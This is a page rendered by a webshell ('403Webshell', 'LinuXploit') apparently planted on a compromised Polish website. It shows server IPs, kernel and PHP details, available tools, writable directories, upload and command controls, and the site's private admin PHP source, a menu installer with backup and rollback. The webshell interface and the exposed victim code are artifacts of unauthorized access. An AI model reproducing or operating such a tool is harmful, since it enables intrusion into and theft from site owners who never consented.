403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v163-nawigacja.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
$error='';$notice='';
$target=dirname(__DIR__).'/includes/functions.php';
$backupDir=dirname(__DIR__,2).'/.polana_v163_nav_backup'; // poza katalogiem WWW
$manifest=$backupDir.'/manifest.json';
$marker='<!-- POLANA_V163_SIMPLE_NAV -->';
function polv163_write_atomic(string $file,string $content):void{
    $tmp=tempnam(dirname($file),'.v163-');
    if($tmp===false)throw new RuntimeException('Brak możliwości przygotowania pliku tymczasowego');
    try{
        $n=file_put_contents($tmp,$content,LOCK_EX);
        if($n===false||$n!==strlen($content))throw new RuntimeException('Błąd zapisu pliku');
        @chmod($tmp,0644);
        if(!rename($tmp,$file))throw new RuntimeException('Nie udało się podmienić pliku');
    }finally{if(is_file($tmp))@unlink($tmp);}
}
function polv163_replace_menu(string $src,string $marker):string{
    if(str_contains($src,$marker))return $src;
    $regex='~(<summary>Treści</summary>\s*<div class="admin-nav-dropdown(?: [^"]*)?">)(.*?)(</div>)~su';
    if(preg_match_all($regex,$src)!==1)throw new RuntimeException('Nie znaleziono jednoznacznie sekcji Treści. Nic nie zmieniono.');
    $new='\1' . "\n                    ".$marker."\n".
      '                    <a href="/admin/polana-centrum-tresci.php">Centrum treści</a>'."\n".
      '                    <a href="/admin/media.php">Zdjęcia</a>'."\n                ".'\3';
    $out=preg_replace($regex,$new,$src,1);
    if(!is_string($out)||$out===$src)throw new RuntimeException('Nie udało się przygotować zmiany menu.');
    return $out;
}
if(($_SERVER['REQUEST_METHOD']??'GET')==='POST'){
    verify_csrf();
    try{
        $mode=(string)($_POST['mode']??'');
        $src=file_get_contents($target);
        if(!is_string($src)||$src==='')throw new RuntimeException('Nie można odczytać functions.php');
        if($mode==='install'){
            if(str_contains($src,$marker))throw new RuntimeException('Proste menu jest już włączone.');
            if(!is_file(dirname(__DIR__).'/admin/polana-centrum-tresci.php'))throw new RuntimeException('Brak strony Centrum treści. Wgraj najpierw paczkę.');
            $out=polv163_replace_menu($src,$marker);
            if(!is_dir($backupDir) && !@mkdir($backupDir,0700,true))throw new RuntimeException('Hosting nie pozwala zapisać backupu poza WWW. Nie zmieniono menu.');
            if(!is_writable($backupDir))throw new RuntimeException('Brak zapisu katalogu backupu poza WWW.');
            $backup='functions_'.date('Ymd_His').'_'.substr(hash('sha256',$src),0,10).'.php.backup';
            if(file_put_contents($backupDir.'/'.$backup,$src,LOCK_EX)!==strlen($src))throw new RuntimeException('Backup nie został zapisany w całości.');
            @chmod($backupDir.'/'.$backup,0600);
            polv163_write_atomic($target,$out);
            $info=['backup'=>$backup,'installed_hash'=>hash('sha256',$out),'installed_at'=>date(DATE_ATOM)];
            file_put_contents($manifest,json_encode($info,JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE),LOCK_EX);
            @chmod($manifest,0600);
            $notice='Włączono proste menu. Oryginał zachowano poza WWW.';
        }elseif($mode==='rollback'){
            if(!is_file($manifest))throw new RuntimeException('Brak manifestu instalacji.');
            $info=json_decode((string)file_get_contents($manifest),true);
            $backup=(string)($info['backup']??'');
            if(!preg_match('/^functions_\d{8}_\d{6}_[a-f0-9]{10}\.php\.backup$/',$backup))throw new RuntimeException('Błędny manifest backupu.');
            if(hash('sha256',$src)!==($info['installed_hash']??''))throw new RuntimeException('functions.php został zmieniony po instalacji. Rollback automatyczny wstrzymany, żeby nie utracić późniejszych zmian.');
            $old=file_get_contents($backupDir.'/'.$backup);
            if(!is_string($old)||$old==='')throw new RuntimeException('Brak poprawnego backupu.');
            polv163_write_atomic($target,$old);
            @rename($manifest,$manifest.'.restored_'.date('Ymd_His'));
            $notice='Przywrócono wcześniejsze menu nawigacyjne.';
        }else throw new RuntimeException('Nieznana operacja');
    }catch(Throwable $e){$error=$e->getMessage();error_log('Polana V163 menu: '.$error);}
}
$installed=is_file($target)&&str_contains((string)file_get_contents($target),$marker);
render_admin_header('Proste menu — instalator');
?>
<main style="max-width:850px;margin:30px auto;padding:18px;background:#fff;border-radius:16px;color:#223426">
 <h1>Proste menu dla pracowników</h1>
 <p>W zakładce „Treści” pozostaną tylko <b>Centrum treści</b> i <b>Zdjęcia</b>. Wszystkie dawne narzędzia pozostaną dostępne pod „Więcej narzędzi” w Centrum treści. Nie usuwamy plików ani uprawnień.</p>
 <?php if($notice):?><p style="color:#166534"><?=e($notice)?></p><?php endif;?>
 <?php if($error):?><p style="color:#b91c1c"><?=e($error)?></p><?php endif;?>
 <p>Aktualny stan: <strong><?=$installed?'Proste menu aktywne':'Oryginalne menu'?></strong></p>
 <form method="post"><?=csrf_field()?>
  <?php if(!$installed):?><button name="mode" value="install" type="submit">Włącz proste menu (z backupem)</button>
  <?php else:?><button name="mode" value="rollback" type="submit" onclick="return confirm('Przywrócić poprzednią nawigację?')">Przywróć poprzednie menu</button><?php endif;?>
 </form>
 <p><a href="/admin/polana-centrum-tresci.php">Otwórz Centrum treści</a></p>
 <small>Jeżeli hosting nie pozwoli utworzyć backupu poza katalogiem WWW, instalacja zostanie wstrzymana bez zmiany menu.</small>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit